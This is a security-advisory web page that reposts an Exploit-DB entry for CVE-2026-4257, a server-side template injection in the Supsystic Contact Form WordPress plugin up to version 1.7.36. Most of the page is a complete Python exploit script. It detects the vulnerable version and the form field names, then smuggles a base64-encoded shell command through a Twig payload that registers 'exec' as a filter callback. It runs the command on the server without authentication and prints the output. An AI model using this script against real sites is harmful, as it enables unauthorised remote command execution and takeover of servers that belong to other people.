EXPLOITDB 9.8 CRITICAL

WordPress Plugin Supsystic Contact Form 1.7.36 – SSTI_EDB-ID:52564

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI Date: 3/30/2026 Exploit Author: bootstrapbool Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/ Software Link:...
Visit Original Source

Basic Information

ID EDB-ID:52564
Published May 14, 2026 at 00:00

Affected Product

Affected Versions # Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI
# Date: 3/30/2026
# Exploit Author: bootstrapbool
# Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
# Version: <= 1.7.36
# Tested on: Ubuntu 24 and Windows 10
# CVE : CVE-2026-4257


import argparse
import base64
import re
import requests

class status:
OKGREEN = "\033[32m"
WARNING = "\033[33m"
FAIL = "\033[31m"
ENDC = "\033[0m"
NOCOLOR = False
VERBOSE = False

@classmethod
def print(cls, message: str, status: str = None):

if cls.NOCOLOR:
print(message)
return

match status:
case "FAIL":
print(f"{cls.FAIL}{message}{cls.ENDC}")
case "WARNING":
print(f"{cls.WARNING}{message}{cls.ENDC}")
case "SUCCESS":
print(f"{cls.OKGREEN}{message}{cls.ENDC}")
case _:
print(message)

@classmethod
def vprint(cls, message: str, status: str = None):
if cls.VERBOSE:
cls.print(message, status)

def get_page(url: str) -> str:

try:
res = requests.get(url)
res.raise_for_status()
except requests.excpetions.RequestException as e:
status.print(f"Request to {url} failed with {res.status_code}")
exit(1)

if res.status_code != 200:
status.print(f"Got {res.status_code} for request to: {url}", "WARNING")

return res.text

def get_version(body: str) -> str | None:
pattern = r'suptablesui.min.css\?ver=([0-9\.]+)'

match = re.search(pattern, body)

if match:
return match.group(1)

def is_vulnerable(version: str) -> bool:

try:
major, minor, patch = map(int, version.split("."))
return (major, minor, patch) <= (1, 7, 36)
except:
status.vprint(f"Failed to parse version.", "WARNING")

def detect_version(body: str):
version = get_version(body)

vulnerable = is_vulnerable(version)
if vulnerable:
status.vprint(f"Detected version {version} is vulnerable.", "SUCCESS")
elif vulnerable != None:
status.vprint(
f"Detected version {version} is not vulnerable.",
"WARNING")

def detect_fields(body: str) -> list[str] | None:
"""Automatically attempt to get Contact Form fields to use for SSTI"""

pattern = r'data-name="([^"]+)"'

field_names = list(set(re.findall(pattern, body)))

if field_names:
status.print(f"Detected fields: {field_names}", "SUCCESS")
return field_names

def handle_field(body: str, field: str | None) -> str:

if field:
return field

fields = detect_fields(body)

if fields is not None:
status.vprint(f"Using automatically detected field: {fields[0]}")

return fields[0]

status.print("Failed to detect fields.", "FAIL")
exit(1)

def get_output(field: str, body: str) -> str | None:

pattern = rf'name="fields\[{re.escape(field)}\]"\s+value="([^"]+)"'
match = re.search(pattern, body)

if match:
return match.group(1)

def exploit(url: str, payload: str, field: str) -> str | None:

utf8_var = "{%set a%}UTF-8{%endset%}"
base64_var = "{%set b%}BASE64{%endset%}"

twig_payload = "{%set p%}" + base64.urlsafe_b64encode(payload.encode('utf-8')).decode('utf-8') + "{%endset%}"

# The () ensures the variables are not treated as string literals
twig_payload_decode = "{%set p = p|convert_encoding((a), (b))%}"

register_callback = "{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}"

exec_filter = "{{_self.env.getFilter(p)}}"

ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter
status.vprint(f"Payload: {payload}")

params = {
"cfsPreFill": 1,
field: ssti_payload}

try:
res = requests.get(url, params)
res.raise_for_status()
except requests.excpetions.RequestException as e:
status.print(f"Request to {url} failed with {res.status_code}")
exit(1)

if res.status_code != 200:
status.print(f"Got {res.status_code} for request to: {url}", "WARNING")

return get_output(field, res.text)

def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"--field",
type = str,
help = ("Valid field part of the Contact Form. The defaults are "
+ "first_name, last_name, subject, message, and email. Though it's "
+ "possible for none of these fields to appear. Not all field types"
+ "work. The tested field types that are confirmed to work are"
+ "Text, Textarea, Number, Email, Time, and URL. Buttons do not "
+ "work."))
parser.add_argument(
"--no-color",
action = "store_true",
help = "If you dont want pretty colors in your output.")
parser.add_argument(
"--verbose",
"-v",
action = "store_true")
parser.add_argument(
"url",
type = str,
help = ("Full URL to page with vulnerable Contact Form component. " \
+ "Ex: http://localhost:4444/sample.php"))
parser.add_argument(
"payload",
type = str,
default = None,
help = ("Shell commands to be executed."))

args = parser.parse_args()

status.NOCOLOR = args.no_color
status.VERBOSE = args.verbose

body = get_page(args.url)

detect_version(body)
field = handle_field(body, args.field)

output = exploit(args.url, args.payload, field)

if output:
if output.lower() == field.lower():
status.print(
"Output is same as field. Maybe try a different field?",
"WARNING")
status.print(output)
else:
status.print(
f"Failed to extract output with field '{field}'",
"FAIL")

if __name__ == "__main__":
main()

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.